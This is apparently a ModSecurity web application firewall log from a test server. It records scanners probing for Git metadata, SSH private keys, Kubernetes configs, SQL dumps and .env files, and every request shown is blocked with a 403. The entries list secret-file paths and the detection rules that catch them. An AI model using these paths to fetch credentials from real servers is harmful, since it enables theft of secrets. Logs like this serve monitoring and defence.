[Fri Jan 17 19:12:51.131663 2025] [:error] [pid 539859] [client 213.232.87.230:33079] [client 213.232.87.230] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/dump.sql"] [unique_id "Z4qdowqRLaklUEIxNPTSggAAACI"]
[Fri Jan 17 19:12:51.135099 2025] [:error] [pid 539848] [client 213.232.87.230:45925] [client 213.232.87.230] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/head"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/HEAD"] [unique_id "Z4qdo2e2YBNa1JDxjzIE2QAAABs"]
[Fri Jan 17 19:12:51.135261 2025] [:error] [pid 539848] [client 213.232.87.230:45925] [client 213.232.87.230] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/HEAD"] [unique_id "Z4qdo2e2YBNa1JDxjzIE2QAAABs"]
[Fri Jan 17 19:12:51.135418 2025] [:error] [pid 539848] [client 213.232.87.230:45925] [client 213.232.87.230] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/HEAD"] [unique_id "Z4qdo2e2YBNa1JDxjzIE2QAAABs"]
[Fri Jan 17 19:12:51.143149 2025] [:error] [pid 539820] [client 213.232.87.230:48253] [client 213.232.87.230] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/backup.sql"] [unique_id "Z4qdo9LiAEscFn6Sg5tLyQAAAAM"]
[Fri Jan 17 19:12:51.143405 2025] [:error] [pid 539820] [client 213.232.87.230:48253] [client 213.232.87.230] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/backup.sql"] [unique_id "Z4qdo9LiAEscFn6Sg5tLyQAAAAM"]
[Fri Jan 17 19:12:51.143568 2025] [:error] [pid 539820] [client 213.232.87.230:48253] [client 213.232.87.230] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/backup.sql"] [unique_id "Z4qdo9LiAEscFn6Sg5tLyQAAAAM"]
[Fri Jan 17 19:12:51.147333 2025] [:error] [pid 529298] [client 213.232.87.230:10749] [client 213.232.87.230] ModSecurity: Warning. Matched phrase ".ssh/id_rsa" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: .ssh/id_rsa found within REQUEST_FILENAME: /.ssh/id_rsa"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.ssh/id_rsa"] [unique_id "Z4qdo9Kdq31FVtZstnc5HAAAAAg"]
[Fri Jan 17 19:12:51.147506 2025] [:error] [pid 529298] [client 213.232.87.230:10749] [client 213.232.87.230] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.ssh/id_rsa"] [unique_id "Z4qdo9Kdq31FVtZstnc5HAAAAAg"]
[Fri Jan 17 19:12:51.147658 2025] [:error] [pid 529298] [client 213.232.87.230:10749] [client 213.232.87.230] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.ssh/id_rsa"] [unique_id "Z4qdo9Kdq31FVtZstnc5HAAAAAg"]
[Fri Jan 17 19:12:51.151218 2025] [:error] [pid 539849] [client 213.232.87.230:39317] [client 213.232.87.230] ModSecurity: Warning. Matched phrase ".kube/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: .kube/ found within REQUEST_FILENAME: /.kube/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.kube/config"] [unique_id "Z4qdo8vllEqaBBHV4MFMCwAAABw"]
[Fri Jan 17 19:12:51.151440 2025] [:error] [pid 539849] [client 213.232.87.230:39317] [client 213.232.87.230] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.kube/config"] [unique_id "Z4qdo8vllEqaBBHV4MFMCwAAABw"]
[Fri Jan 17 19:12:51.151667 2025] [:error] [pid 539849] [client 213.232.87.230:39317] [client 213.232.87.230] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.kube/config"] [unique_id "Z4qdo8vllEqaBBHV4MFMCwAAABw"]
[Sat Jan 18 00:33:53.800441 2025] [:error] [pid 543507] [client 45.148.10.86:47586] [client 45.148.10.86] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "Z4ro4QrGYTeBuIW-TnCL8AAAAB8"]
[Sat Jan 18 00:33:53.801100 2025] [:error] [pid 543507] [client 45.148.10.86:47586] [client 45.148.10.86] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "Z4ro4QrGYTeBuIW-TnCL8AAAAB8"]
[Sat Jan 18 00:33:53.801524 2025] [:error] [pid 543507] [client 45.148.10.86:47586] [client 45.148.10.86] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "Z4ro4QrGYTeBuIW-TnCL8AAAAB8"]
[Mon Jan 20 12:21:56.560240 2025] [:error] [pid 588659] [client 45.148.10.80:55488] [client 45.148.10.80] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "Z44x1DH47qwyvKUbCDJN9QAAAAk"]
[Mon Jan 20 12:21:56.562767 2025] [:error] [pid 588659] [client 45.148.10.80:55488] [client 45.148.10.80] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "Z44x1DH47qwyvKUbCDJN9QAAAAk"]
[Mon Jan 20 12:21:56.563242 2025] [:error] [pid 588659] [client 45.148.10.80:55488] [client 45.148.10.80] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "Z44x1DH47qwyvKUbCDJN9QAAAAk"]
[Tue Jan 21 15:11:55.049022 2025] [:error] [pid 610097] [client 193.41.206.36:38594] [client 193.41.206.36] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "Z4-rK_gTZYKzhxrXviqTfAAAAAM"]
[Tue Jan 21 15:11:55.051065 2025] [:error] [pid 610097] [client 193.41.206.36:38594] [client 193.41.206.36] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "Z4-rK_gTZYKzhxrXviqTfAAAAAM"]
[Tue Jan 21 15:11:55.051554 2025] [:error] [pid 610097] [client 193.41.206.36:38594] [client 193.41.206.36] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "Z4-rK_gTZYKzhxrXviqTfAAAAAM"]
[Tue Jan 21 15:15:48.891176 2025] [:error] [pid 621519] [client 193.41.206.36:42852] [client 193.41.206.36] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /laravel/core/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/laravel/core/.env"] [unique_id "Z4-sFNP2g1a8O8tMN8i_zQAAAA8"]
[Tue Jan 21 15:15:48.891728 2025] [:error] [pid 621519] [client 193.41.206.36:42852] [client 193.41.206.36] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/laravel/core/.env"] [unique_id "Z4-sFNP2g1a8O8tMN8i_zQAAAA8"]
[Tue Jan 21 15:15:48.892153 2025] [:error] [pid 621519] [client 193.41.206.36:42852] [client 193.41.206.36] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/laravel/core/.env"] [unique_id "Z4-sFNP2g1a8O8tMN8i_zQAAAA8"]
[Tue Jan 21 15:15:48.893685 2025] [:error] [pid 621518] [client 193.41.206.36:42856] [client 193.41.206.36] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /laravel/core/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/laravel/core/.env"] [unique_id "Z4-sFPPXyjfVauJVJ2RwKQAAAA4"]
[Tue Jan 21 15:15:48.893983 2025] [:error] [pid 621518] [client 193.41.206.36:42856] [client 193.41.206.36] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/laravel/core/.env"] [unique_id "Z4-sFPPXyjfVauJVJ2RwKQAAAA4"]
[Tue Jan 21 15:15:48.894316 2025] [:error] [pid 621518] [client 193.41.206.36:42856] [client 193.41.206.36] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/laravel/core/.env"] [unique_id "Z4-sFPPXyjfVauJVJ2RwKQAAAA4"]
[Tue Jan 21 15:15:51.122310 2025] [:error] [pid 621519] [client 193.41.206.36:42852] [client 193.41.206.36] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /beta/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/beta/.env"] [unique_id "Z4-sF9P2g1a8O8tMN8i_zgAAAA8"]
[Tue Jan 21 15:15:51.122509 2025] [:error] [pid 621519] [client 193.41.206.36:42852] [client 193.41.206.36] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/beta/.env"] [unique_id "Z4-sF9P2g1a8O8tMN8i_zgAAAA8"]
[Tue Jan 21 15:15:51.122739 2025] [:error] [pid 621519] [client 193.41.206.36:42852] [client 193.41.206.36] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/beta/.env"] [unique_id "Z4-sF9P2g1a8O8tMN8i_zgAAAA8"]
[Tue Jan 21 15:15:51.229493 2025] [:error] [pid 621518] [client 193.41.206.36:42856] [client 193.41.206.36] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /beta/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/beta/.env"] [unique_id "Z4-sF_PXyjfVauJVJ2RwKgAAAA4"]
[Tue Jan 21 15:15:51.229905 2025] [:error] [pid 621518] [client 193.41.206.36:42856] [client 193.41.206.36] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/beta/.env"] [unique_id "Z4-sF_PXyjfVauJVJ2RwKgAAAA4"]
[Tue Jan 21 15:15:51.230398 2025] [:error] [pid 621518] [client 193.41.206.36:42856] [client 193.41.206.36] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/beta/.env"] [unique_id "Z4-sF_PXyjfVauJVJ2RwKgAAAA4"]
[Tue Jan 21 15:15:53.808132 2025] [:error] [pid 621519] [client 193.41.206.36:42852] [client 193.41.206.36] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /kyc/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/kyc/.env"] [unique_id "Z4-sGdP2g1a8O8tMN8i_zwAAAA8"]
[Tue Jan 21 15:15:53.808596 2025] [:error] [pid 621519] [client 193.41.206.36:42852] [client 193.41.206.36] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/kyc/.env"] [unique_id "Z4-sGdP2g1a8O8tMN8i_zwAAAA8"]
[Tue Jan 21 15:15:53.809782 2025] [:error] [pid 621519] [client 193.41.206.36:42852] [client 193.41.206.36] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/kyc/.env"] [unique_id "Z4-sGdP2g1a8O8tMN8i_zwAAAA8"]
[Tue Jan 21 15:15:53.924410 2025] [:error] [pid 621518] [client 193.41.206.36:42856] [client 193.41.206.36] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /kyc/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/kyc/.env"] [unique_id "Z4-sGfPXyjfVauJVJ2RwKwAAAA4"]
[Tue Jan 21 15:15:53.924895 2025] [:error] [pid 621518] [client 193.41.206.36:42856] [client 193.41.206.36] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/kyc/.env"] [unique_id "Z4-sGfPXyjfVauJVJ2RwKwAAAA4"]
